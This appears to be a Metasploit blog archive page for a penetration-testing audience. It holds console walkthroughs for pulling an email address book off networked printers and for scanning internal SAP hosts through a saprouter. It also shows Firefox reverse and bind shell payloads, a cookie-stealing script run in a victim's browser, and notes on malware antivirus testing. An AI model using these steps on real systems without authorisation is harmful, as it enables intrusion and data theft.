Skip navigation
All Places > Metasploit > Blog > 2014 > January

As of this last release, PJL (HP's Printer Job Language) is now a grown-up Rex::Proto protocol! Since extending a protocol in Metasploit is beyond the scope of this post, we'll just be covering how to use the PoC modules included with the new protocol. Feel free to dig around in lib/rex/proto/pjl*, though!


Okay, let's get started!




First off, we have printer_version_info. This module lets us scan a range of hosts for printer version information. We'll set RHOSTS globally so we don't need to worry about setting it later. :)


msf > use auxiliary/scanner/printer/printer_version_info 
msf auxiliary(printer_version_info) > setg RHOSTS 417.216.55.69
RHOSTS => 417.216.55.69
msf auxiliary(printer_version_info) > run

[+] 417.216.55.69:9100 - HP LaserJet M5035 MFP
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


As you can see, our target is an HP LaserJet M5035 MFP. This gives us a good idea of what to expect while running later modules.




printer_env_vars will get us a list of environment variables on the printer. This information isn't necessarily useful for what we're about to do, but it does give us information about the printer's configuration.


msf auxiliary(printer_version_info) > use auxiliary/scanner/printer/printer_env_vars 
msf auxiliary(printer_env_vars) > run

[+] 417.216.55.69:9100

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Since the listing is so long, we've snipped off everything past the language setting.




Now we're going to start mucking with the printer's filesystem. We can list the initialized volumes using printer_list_volumes.


msf auxiliary(printer_env_vars) > use auxiliary/scanner/printer/printer_list_volumes 
msf auxiliary(printer_list_volumes) > run

[+] 417.216.55.69:9100
        0:      119754063872    119613587456    DISK 3      ?       READ-WRITE

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


That's a lot of free space! Volume 0: has over a hundred gigs of readable/writable free space. Someone should implement FSDOWNLOAD to take advantage of that. ;)




Let's snoop around in 0:\ with printer_list_dir. Take a close look at the directories that pop up. Printers are unassuming, but this causes many people to consider them harmless. In reality, much of what people send through a printer may be stored or at least logged to its filesystem. Yeah, it has a disk. Scary, huh?


msf auxiliary(printer_list_volumes) > use auxiliary/scanner/printer/printer_list_dir 
msf auxiliary(printer_list_dir) > set PATHNAME '0:\'
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
PermStore TYPE=DIR
saveDevice TYPE=DIR
webServer TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice'
PATHNAME => 0:\saveDevice
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
DigitalSend TYPE=DIR
SavedJobs TYPE=DIR
SecurityAttrs TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend'
PATHNAME => 0:\saveDevice\DigitalSend
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
ImagePipeline TYPE=DIR
AddressBook TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
speeddial.state TYPE=FILE SIZE=6
speeddial.db TYPE=FILE SIZE=2560
speeddial.bak TYPE=FILE SIZE=2560
email.state TYPE=FILE SIZE=6
email.db TYPE=FILE SIZE=16384
email.bak TYPE=FILE SIZE=16384
fax.state TYPE=FILE SIZE=6
fax.db TYPE=FILE SIZE=2560
fax.bak TYPE=FILE SIZE=2560

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


email.db looks interesting!




Okay, so we found an interesting file (0:\saveDevice\DigitalSend\AddressBook\email.db) with printer_list_dir. We can now use printer_download_file to download it. The file will be stored in loot.


msf auxiliary(printer_list_dir) > use auxiliary/scanner/printer/printer_download_file 
msf auxiliary(printer_download_file) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook\email.db'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook\email.db
msf auxiliary(printer_download_file) > run

[+] 417.216.55.69:9100 - 0:\saveDevice\DigitalSend\AddressBook\email.db
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_download_file) > loot 


host           service  type          name                                            content                   info          path
----           -------  ----          ----                                            -------                   ----          ----
417.216.55.69           printer.file  0:\saveDevice\DigitalSend\AddressBook\email.db  application/octet-stream  Printer file  /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db

msf auxiliary(printer_download_file) > strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u
[*] exec: strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u



E-mail addresses! Just one of the many things you might find on a printer filesystem... Obviously, the real addresses have been replaced by fake ones, but the significance of this find is the same. In this case, those could have been organization e-mail addresses, which means you would now have usernames you could leverage for further attacks.




Okay, phew, we're done with the serious stuff, so let's have a little fun! There's an old trick to change the message on a printer's LCD screen. We're going to use printer_ready_message for that.


Here, we're changing the display to something you all should know. :P


msf auxiliary(printer_download_file) > use auxiliary/scanner/printer/printer_ready_message 
msf auxiliary(printer_ready_message) > set ACTION Change 
ACTION => Change
msf auxiliary(printer_ready_message) > set MESSAGE HACK THE PLANET
msf auxiliary(printer_ready_message) > run

[+] 417.216.55.69:9100 - HACK THE PLANET
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



It's probably a good idea to reset the display once you're done trolling. Just set ACTION to Reset and hit run!


msf auxiliary(printer_ready_message) > set ACTION Reset 
ACTION => Reset
msf auxiliary(printer_ready_message) > run

[+] 417.216.55.69:9100 - Processing...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



Like a ghost. ;)




If you're new to Metasploit, never fear! You can download it here. If you already have Metasploit installed, these modules are only an msfupdate away!




Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads:


  • firefox/shell_reverse_tcp
  • firefox/shell_bind_tcp
  • firefox/exec


These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling certain native functions not meant to be exposed to ordinary web content, a classic TCP command shell can be opened. To a pentester, these payloads are useful for popping platform-independent in-process shells on a remote Firefox instance.


How does it work?


Firefox contains a Javascript API called XPCOM which consists of privileged native methods primarily implemented as C++ bindings. This API is commonly invoked by Firefox Addons and is also used by the "glue" code running inside the Firefox browser itself. If you can find a way to run Javascript code with access to XPCOM - either by convincing the user to install an untrusted addon or by finding a privilege escalation exploit in Firefox itself - you can open a raw TCP socket and run executables with Javascript. By using some shell redirection, we can get a working command shell connection back to a metasploit instance. We currently have three Firefox privilege escalation exploits in the framework:


  • exploit/multi/browser/firefox_svg_plugin (Firefox 17.* + Flash)
  • exploit/multi/browser/firefox_proto_crmfrequest (Firefox 5-15.*)
  • exploit/multi/browser/firefox_xpi_bootstrapped_addon (all versions)


Why is it better?


The Javascript payloads are able to maintain shell sessions without dropping a native exe to the disk, which makes their presence significantly harder to detect. Another immediate benefit is that our existing Firefox exploits can now be included in BrowserAutopwn, since the target is static. Additionally, since the payload still has access to the Firefox Javascript environment, we can just as easily eval Javascript code, which makes things like cookie extraction or XSS attacks very easy. As an example I wrote a post module, post/firefox/gather/xss. To use it, simply specify the URL you want to run under and specify a SCRIPT option. The SCRIPT will be eval()'d by the payload and any results will be printed:


msf> use post/firefox/gather/xss
msf> set SESSION 1
msf> set URL
msf> set SCRIPT "send(document.cookie);"
[+] id=f612814001be908ds79f


Or, with a slightly more advanced script which sends a tweet in the target browser:


msf> set URL
msf> set SCRIPT "$('.tweet-box').find('.tweet-box').focus().text('Metasploit Courtesy Tweet').parents('form').find('.tweet-button button').click(); return 'sent';"
[+] sent


Note: You can use return or send to send back data, but you can only send once.



If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

Abusing Printers with PJL

This week's release features a half dozen new modules that seek out printers that talk the Print Job Lanaguage (PJL) for use and abuse. Huge thanks to our newest full time Metasploit trouble maker, William Vu.


As a penetration tester, you probably already know that office printers represent tasty targets. Like most hardware with embedded systems, they rarely, if ever, get patches. They don't often have very serious security controls. They're usually in network segments that are full of end-user desktops, but sometimes they just pop up where ever someone felt the need to have a printer, so they're often uncontrolled and unaccounted for by IT adminstrators.


Finally, and most importantly, printers are often unintentional repositories of sensitive data. The printer_download_file, in particular, can snag all sorts of proof-of-insecurity artifacts, like copies of outbound faxes, signature samples, confidential contract language... all sorts of stuff. A payroll printer is (hopefully!) not going to be PJL-aware, but the community printer/fax that all the sales guys use for quotes and fielding POs? Better start scanning your office floor.


Of course, techniques for abusing the total lack of authentication around PJL have been around for a million years. I don't know any university lab that hasn't had the LCD display changed to something funny. The story here is that these PJL modules (and associated Rex protocols) means that pentesters and IT security admins alike can more thoroughly, systematically, and routinely audit their sites for printer-based risk exposure. Hopefully, the publication of these modules will raise that visibility bar to a point where folks take this kind of thing seriously and stop relegating the risk to "party trick" levels.


Metasploit API Docs Online

If you've been watching the development news around Metasploit for the last year or so, you will no doubt read that we are aggressively pursuing reasonable in-line documentation around core Metasploit functionality. As a quick update to that, you will be pleased to see that is no longer a pack of outdated lies. What you see there is exactly the same as if you were on a recent clone of the Metasploit code repository and had typed "rake yard" to locally generate the docs.


Hopefully, the increased visibility gained by dumping these autogenerated docs out to the Internet will save new Metasploit exploit devs the trouble of re-implimenting common Metasploit conventions over and over again. For example, just browsing the Wordpress class definition reveals what methods that our friend Christian @_FireFart_ Mehlmauer has already written for your Wordpress exploitation needs. Super useful.


Browsing through the internal Metasploit docs will almost certainly lead to some "Ah-ha!" moments, when you notice a pre-defined method you've never seen used before. I forget tons of things about what makes Metasploit go, and I know I'm not alone. On top of that, YARD-generated docs are just so darn pleasant to read and navigate through.


New Modules

Aside from the PJL modules, we've got a new exploit for HP Data Protector Backup Client, thanks to Juan Vazquez's tireless pursuit of teasing exploit code out of ZDI disclosures.


Exploit modules


Auxiliary and post modules


If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Last year we worked hard to improve the embedded devices capabilities available on Metasploit collaborating with awesome guys like m-1-k-3 to add new modules and capabilities, collaborating and conducting research like in the IPMI related work by HD Moore, or sharing exploiting war stories. And looks like this year won't be different at all.


At the beginning of 2014, Eloi Vanderbeken published an awesome research related to a service included on several SerComm based routers, allowing dangerous features like configuration dumping or arbitrary command execution, all of that without authentication!


Soon, one of our regular contributors, Matt Andreko, put ready three awesome Metasploit modules in order to detect and exploit the weaknesses:



He did awesome work, not only writing the modules, but also helping to test all of them in a wide range of devices! You definitely should check his write-up about these modules.


Meanwhile, here in Metasploit, we used this new embedded device's story to improve the existent MIPS based payloads and encoders through both optimization and bug fixing. If you're interested in that sort of thing, you can check the commit histories here:


  • PR #2832: Makes null free the shell_reverse_tcp single payload for MIPS Little Endian.
  • PR #2844: Fixes an erroneous usage of a temporary register on the shell_reverse_tcp single payload for MIPS Big Endian.
  • PR #2846: Several optimizations and small fixes for the shell_bind_tcp single payload for MIPS Little Endian.
  • PR #2847: Adds a null free single shell_bind_tcp payload for MIPS Big Endian.
  • PR #2849: Fixes the Architecture of the MIPS XOR Byte encoder which we added last year.


Also, we've added the new shell/reverse_tcp staged payloads for linux MIPS platforms. You can check the full history on the PR #2881.


MIPS is a common architecture on embedded devices and home routers land, so hope all these bunch of fixes and new payloads will make easier for people to evaluate their own exploitability!


For sure, this year will be more news related to embedded devices and MIPS exploitation on Metasploit. In the meanwhile, don't forget to check your SerComm based devices:


1) Search for Devices




2) One found, so dump its configuration.




3) Profit! For example, use the information, like the web management credentials, for easy fingerprint.


Screen Shot_webadmin.png


4) Get your session!




Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments. Also, don't forget to say thanks to Matt Andreko for his last Metasploit collaboration!

Firefox Payloads


Hey, remember last summer when it was reported that the FBI was allegedly targeting Firefox with an 0day to nab criminals? Turns out, perhaps whoever was really behind it wasn't thinking far enough outside the box, because Firefox has some built-in functionality for some pretty nifty trickery which should make life significantly easier for the penetration tester and social engineer-er.


As of this week, Metasploit features three new Firefox-specific payloads: a regular command execution payload, a shell bound to an arbitrary TCP port, and a reverse-TCP shell bind, all from the inestimable Joe Vennix. I won't spill the beans on the technical details too much here, because he should have a blog post out soon on this that goes into the nitty-gritty.


Of course, since Metasploit Framework is all full of open source goodness and light, you can peek in on the diffs yourself to see how it was implemented. Unlike some shadier organizations, we like sharing our Firefox exploitation techniques to move the state of the art of defense forward for everyone.



VirusTotal Checking on the Command Line

Meanwhile, Wei @_sinn3r Chen has put together some pretty awesomely cool tooling around testing arbitrary binaries and shellcode with VirusTotal. You might have caught Mark Russinovich's tweet about Process Explorer cross-referencing against VirusTotal hashes, which is both fun and useful, and we've been wanting to make that kind of thing easier for exploit devs, too. Again, expect a more in-depth blog post about this from Wei Real Soon now. In the meantime, check out Metasploit's VirusTotal Malware Sampler, pictured at right.


Unstable Modules

You know that I love each and every one of our open source contributors.  Honestly, I do. You make Metasploit go. Sometimes, though, we get some new whiz-bang exploit or auxiliary that doesn't quite cut it, and no reasonable amount of work we can do here will get it over the line.  Usually, it's because the original contributor loses interest or access in the target, and becomes unresponsive to needed improvements.


This week, I spent some time documenting what's actually supposed to happen with these modules, which is where the unstable Metasploit branch comes in. You're welcome to read up on the procedures we use to land unstable modules, which is quite thrilling. But that's not the point of this blog post.


The point is, git and GitHub makes it easy to be a pack rat about these kinds of things -- git means never having to delete half-finished content, ever. If you compare unstable to master, you can see some decent statistics on what's lurking down in unstable and how old some of it is. If you're half way proficient with the git command line, you can just checkout the unstable branch locally, head on down the unstable-modules directory, and see what's there.


This creates a great opportunity for someone who might want to contribute to Metasploit, but not sure of where to start. Nominally, most of the work is already done on a module by the time it hits the unstable graveyard -- it just needs a push to get over the finish line. So, new contributors are welcome to ply their necromancy and resurrect these modules and help them fulfill their destiny. If this sounds like something you'd like to do, just be sure to mention the unstable branch in your pull request so we can excise the old and busted version once you land your new hotness.


New Modules

Turns out, there are some more backdoors floating around the SOHO router landscape, so we have three new modules this week written by Matt Andreko which implement Eloi Vanderbeken's techniques used to discover and exploit them. You are cordially invited to read Matt's HOWTO blog post for more technical detail about his adventures in backdoored router exploitation.


With that, here are this week's haul of new Metasploit modules:


Exploit modules


Auxiliary and post modules


If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

framework-to-pro-webcast.pngMetasploit Pro is more than just a pretty web interface for Metasploit; it contains many little known features that simplify large scale network penetration tests. In this technical webinar for penetration testers who are familiar with Metasploit Framework, David Maloney shows which features he finds most useful in Metasploit Pro.

Watch this webcast to learn how to:

  • Quickly scan a network for potential entry points with Metasploit Pro’s discovery scans
  • Kick off or pull Nexpose vulnerability data from within Metasploit Pro
  • Effectively manage data during a pentest with searching, tagging, grouping, and notes
  • Find exploitable vulnerabilities in large networks using smart exploitation
  • Leverage credentials through bruteforcing, cracking and recycling
  • Evade anti-virus solutions with Metasploit Pro’s custom payloads
  • Conduct post-exploitation, including VPN pivoting and file system browser
  • Collect evidence from compromised machines
  • Take advantage of advanced functions on the Pro command line
  • Reporting on your engagement


David "TheLightCosine" Maloney is a Software Engineer on Rapid7’s Metasploit team, where he is responsible for development of core features for the commercial Metasploit editions. Before Rapid7, he worked as a Security Engineer and Penetration Tester at Time Warner Cable and as an Application Security Specialist for a global insurance company. David has been a long-time community contributor to the Metasploit Framework. He is also a member of the Corelan Security Team. He is one of the founders of Hackerspace Charlotte and is an avid locksport enthusiast.


Register now for this free webcast - limited seats!

VirusTotal is a free online service that allows you to analyze files or URLs in order to identify malware detectable by antivirus engines, and is one of the most popular ones in the community, so we decided to get a piece of that action. As offensive tool developers, we often find ourselves testing the capabilities of different AV products. There are usually two ways to achieve this, of course. You either spend some money and build your own lab, or you spend nothing and just use VirusTotal's API and submit your malware to analyze. Obviously there are plenty of reasons why VirusTotal is useful, but I'll let you explore your own creativity :-) The main purpose of the blog is to explain what we've done to assist your need of automatic malware analysis, and how to use it.


Before you start using these features, note that by default you are using Metasploit's public API key. What does this mean to you? It means as long as you're using the default key, we at Metasploit can see your submission. The data we can see include: The date of the submission, and the web version of the report (which is the same one you have). We don't actually have access to your malware sample. The following screenshot is an example:


Screen Shot 2014-01-10 at 6.17.16 PM.png




If you prefer your own key, you may obtain one free of charge at and sign up for an account. The public API key is limited to 4 requests of any nature per minute, non-commercial purposes, but this should be enough for personal research. If there is a popular demand for supporting the private API, we can jump on that as well. Please feel free to let us know.


We currently offer two different scripts for different scenarios. The standalone version is located under the "tools" directory, which implies this is generally used for some sort of development purposes (but of course, do whatever you want with it). Another one serves as a post module that allows you to check a remote file via a Metasploit payload... that's a little ironic, isn't it?


The Standalone virustotal.rb Utility


The standalone utility will upload your malware sample to VirusTotal, and the service will take care of the rest. If this is an unique malware, it may take several minutes to get a report. My experience is about 5 - 6+ minutes. If for some reason the waiting period takes more than an hour, then the script will automatically terminate, but you should still at least have the analysis link to check later manually. If there is already a report for your sample, it should only take a couple of seconds to get it.


It's very easy to get going, obviously you should at least have a malware ready, and then you can simply run the following command:


tools/virustotal.rb -f [PATH TO MALWARE FILE]


The -f option allows you to supply up to 4 files (again, because the API limit), and here's how to do that:


tools/virustotal.rb -f "[FILE_1 FILE_2 FILE_3 FILE_4]"


Like I said earlier, by default there's already a built-in API key, but you can also specify your own::


tools/virustotal.rb -k [API KEY] -f [FILENAME]


Note that after specifying your own key once, you won't have to do it again because that information will be stored in Metasploit's config file at ~/.msf4/config. So that means next time your command will no longer need the -k option:


tools/virustotal.rb -f [FILENAME]


If you prefer to do a quick hash search to grab the report instead of uploading the malware sample, then you can use the -q option. Please note since the -q option doesn't actually upload the malware, not finding a report doesn't necessarily mean the malware is actually undetectable:


tools/virustotal.rb -q -f [FILENAME]


An example of your analysis report should look like this:


Screen Shot 2014-01-10 at 1.59.56 AM.png



The check_malware.rb Post Module


The post module version functions differently than the standalone one. Instead of uploading the sample to VirusTotal, the module will only submit the checksum and grab the report. It also uses the same default API key, and you can set your own.


There are two datastore options in this module: The APIKEY allows you to use your own key. The REMOTEFILE option is the file you wish to check on the target machine. Here's an example of how to use it:


Screen Shot 2014-01-10 at 2.06.45 AM.png


And that's all you need to know about our new features from VirusTotal. If you're new to Metasploit, you can download a copy of it for either Linux or Windows. If you are already a Metasploit user, you should receive these new toys by running the msfupdate command. Enjoy!

Saprouter is basically a reverse proxy for SAP systems, typically sitting between the Internet and internal SAP systems. Its main purpose is to allow controlled access from hosts on the Internet to the internal SAP systems, since it allows for a finer grained control of SAP protocols than a typical firewall.

This means that saprouter usualy ends up being exposed to the Internet, by allowing the inbound TCP port 3299 to the saprouter host on the organization’s firewalls. And from the saprouter, at least it should be possible to reach an internal SAP server. This makes it a very interesting target, since it can provide a way into the “high value” network.

The following figure shows a basic network setup, which we will use for the examples:




First we’ll start by performing a SAP service scan of the exposed IP address, using the sap_service_discovery module, in this case,


msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery ''

[+]      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


The scan shows us that the host is running a SAP router on the expected port TCP 3299. We can now dig deeper, and attempt to obtain some information from the saprouter. If it has been misconfigured, and often they are, it may be possible to obtain internal information, such as connections established through the saprouter to internal hosts. For this purpose we use the sap_router_info_request module:


msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request 
msf auxiliary(sap_router_info_request) > set RHOSTS
msf auxiliary(sap_router_info_request) > run

[+] - Connected to saprouter
[+] - Sending ROUTER_ADM packet info request
[+] - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for

   Source        Destination   Service
   ------        -----------   -------  3200

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



So, from the output we see that someone on the Internet ( is connected to an internal host ( on port 3200. Port 3200 is a common SAP port for the DIAG protocol (that’s where the SAP GUI application connects to SAP servers). We also obtain information about the internal IP addressing scheme, they’re quite surely using at least the network, or some subnet in that network.


Enumerating internal hosts and services


With this information, we are now able to start scanning the internal network. Since saprouter works like a proxy, we will attempt to connect to it and request connections to internal hosts and ports, and see the replies from saprouter. This may gives more insight into the internal hosts, services and ACLs, depending on the configuration of the saprouter. We’ll be using the sap_router_portscanner module for this purpose.

The module connects to the saprouter and  requests connections to other hosts (defined in the TARGETS option) in specific TCP ports. It then analyses the replies, and understands whether the requested connection is possible or not. This module provides a few options that can used:


Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CONCURRENCY  10               yes       The number of concurrent ports to check per host
  INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
  MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
  PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
  RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
  RHOST                         yes       SAPRouter address
  RPORT        3299             yes       SAPRouter TCP port
  TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.


At the very least you’ll have to set the saprouter’s IP address, in the example case, Then, set TARGETS to the internal network addresses you’d like to scan, and finally set PORTS with the TCP ports to scan.

The module provides also an INSTANCES option that allows simplifying the definition of the PORTS option. SAP installations support multiple instances, providing similar services, so each instance has assigned TCP ports. For example, SAP instance 00 will have the SAP dispatcher service (where SAP GUI connects to) on port 3200 and instance 01 on port 3201. The PORTS option supports a “wildcard” which is “NN” that will be replaced with the instance number, hence scanning ports for all the defined instances. So, if we want to scan instances from 00 to 50, we can define the INSTANCES and PORTS variables this way:


msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN



With this setting the module will scan ports in range 3200 to 3250.

In the source of the module you have information regarding the common default ports on SAP systems, which we will now be using for scanning:



msf > use auxiliary/scanner/sap/sap_router_portscanner 
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner  
msf auxiliary(sap_router_portscanner) > set RHOST
msf auxiliary(sap_router_portscanner) > set TARGETS
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning
[!] Warning: Service info could be inaccurate

Portscan Results

   Host           Port   State   Info
   ----           ----   -----   ----   3201   closed  SAP Dispatcher sapdp01   3200   open    SAP Dispatcher sapdp00   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

We can try to understand why some connections are not allowed through the saprouter by using the VERBOSE option. When VERBOSE is set to true we are able to see the response from the saprouter, and map the defined ACL.

We will now scan the and the hosts, but only on port 3200, to see if we can connect to both SAP dispatchers:



msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS,
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning
[+] - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results

   Host          Port  State   Info
   ----          ----  -----   ----  3200  open  SAP Dispatcher sapdp00

[*] Scanning
[-] - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

As you can see, we now also know that we cannot connect to other host on port 3200, since it is blocked by the ACL defined on the saprouter.


Mapping the ACLs


An interesting thing about the saprouter, is that it supports two types of connections:

  • Native – These connections are simply TCP connections;
  • SAP protocol – These are TCP connections with a twist, the protocol states that all messages are started with 4 bytes stating the length of the following content.


The SAP protocol is specific to saprouter, and is what the SAP GUI uses to connect to the SAP DIAG port through the saprouter. The native protocol is used for allowing other types of connections to pass through saprouter.


This module allows for specifying which type of connection to test during the scan in the MODE option. The default is the SAP protocol, which is the most probable to be used in production. However, it is not uncommon to find other services allowed through the saprouter, where the ACL will allow native (TCP) connections through.


We can set the MODE to TCP in order to assess whether this type of connections are allowed. We will now scan the internal hosts, both on port 3200 (SAP DIAG) and 80 (HTTP), with VERBOSE set to true, on both instances 00 and 01 and see what happens:


msf auxiliary(sap_router_portscanner) > set MODE TCP 

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning
[+] - TCP OPEN
[-] - blocked by ACL
[+] - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results

   Host          Port  State  Info
   ----          ----  -----  ----  80    open  3201  open   SAP Dispatcher sapdp01

[*] Scanning
[-] - blocked by ACL
[+] - TCP OPEN
[+] - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results

   Host         Port  State  Info
   ----         ----  -----  ----  3201  open   SAP Dispatcher sapdp01  80    open   

[*] Auxiliary module execution completed


From the output and the previous information we now know that the ACL is something like this:

  • Allow TCP connections from any host to to port 80
  • Allow TCP connections from any host to to port 80
  • Allow TCP connections from any host to to port 3201
  • Allow TCP connections from any host to to port 3201
  • Allow SAP connections from any host to to port 3200


Blind enumeration of internal hosts


If you recall, we started by obtaining information from the saprouter which allowed us to know the IP address on an internal host, and we went on from there. But what if the saprouter doesn’t provide us with that information?

One option is to just start scanning private address spaces, and see what happens. The other is to blindly enumerate hosts by hostname.

Saprouters are able to resolve hostnames we request it to connect to. Saprouter is also kind enough to let us know what are the errors when it fails to connect (you can actually see the raw responses by uncommenting line 242 on the module source).

With this feature we are able to enumerate internal hosts by hostname, and try to go directly for the gold!


For this, we need to set the RESOLVE option to “remote”. In this case, the module will request connection to the TARGETS defined, without resolving them locally, and we can try to guess the internal hosts, and eventually connect to them without ever knowing their IP addresses.


Important things to remember when blindly enumerating hosts:

  • Set VERBOSE to true;
  • We’ll get more information from saprouter if MODE is set to SAP_PROTO;
  • It is enough to set only one port to scan, since we’re only interested at this point in the information sent by the saprouter (try 3200);
  • Results will vary depending on the configured ACL. Unfortunately blocked connections won’t give us much info.


In this example we’ll try the hostnames sap, sapsrv and sapsrv2.


msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results

   Host     Port  State  Info
   ----     ----  -----  ----
   sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed



From the output we see that the host “sap” does not exist, but that host sapsrv does, although it is unreachable, and sapsrv2 exists and we can connect to port 3200.


This technique can also be used to try to find other hosts on the network, not SAP related, just try using common hostnames, like smtp, exchange, pdc, bdc, fileshare, intranet, or what other nice hostnames you might have on your bag of tricks


The last mile


Now that we have obtained all this information, we know the internal hosts available, what services are allowed, and what protocols we can use to pierce the saprouter, we can actually connect to internal servers, and proceed with our pentest.

Metasploit provides us with an awesome way to saprouter as a proxy, using the Proxies option, thanks to Dave Hartley (@nmonkee).

So at this point, we want to start gathering information on the internal sap server we have discovered in host As an example, we’ll be using the module sap_hostctrl_getcomputersystem which exploits CVE-2013-3319 and give us details on the OS the server is running on by querying the SAP Host Control service on port 1128 via an unauthenticated SOAP request. We’ll be pivoting through the saprouter, using the proxy support in metasploit:



msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem 
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:
Proxies => sapni:
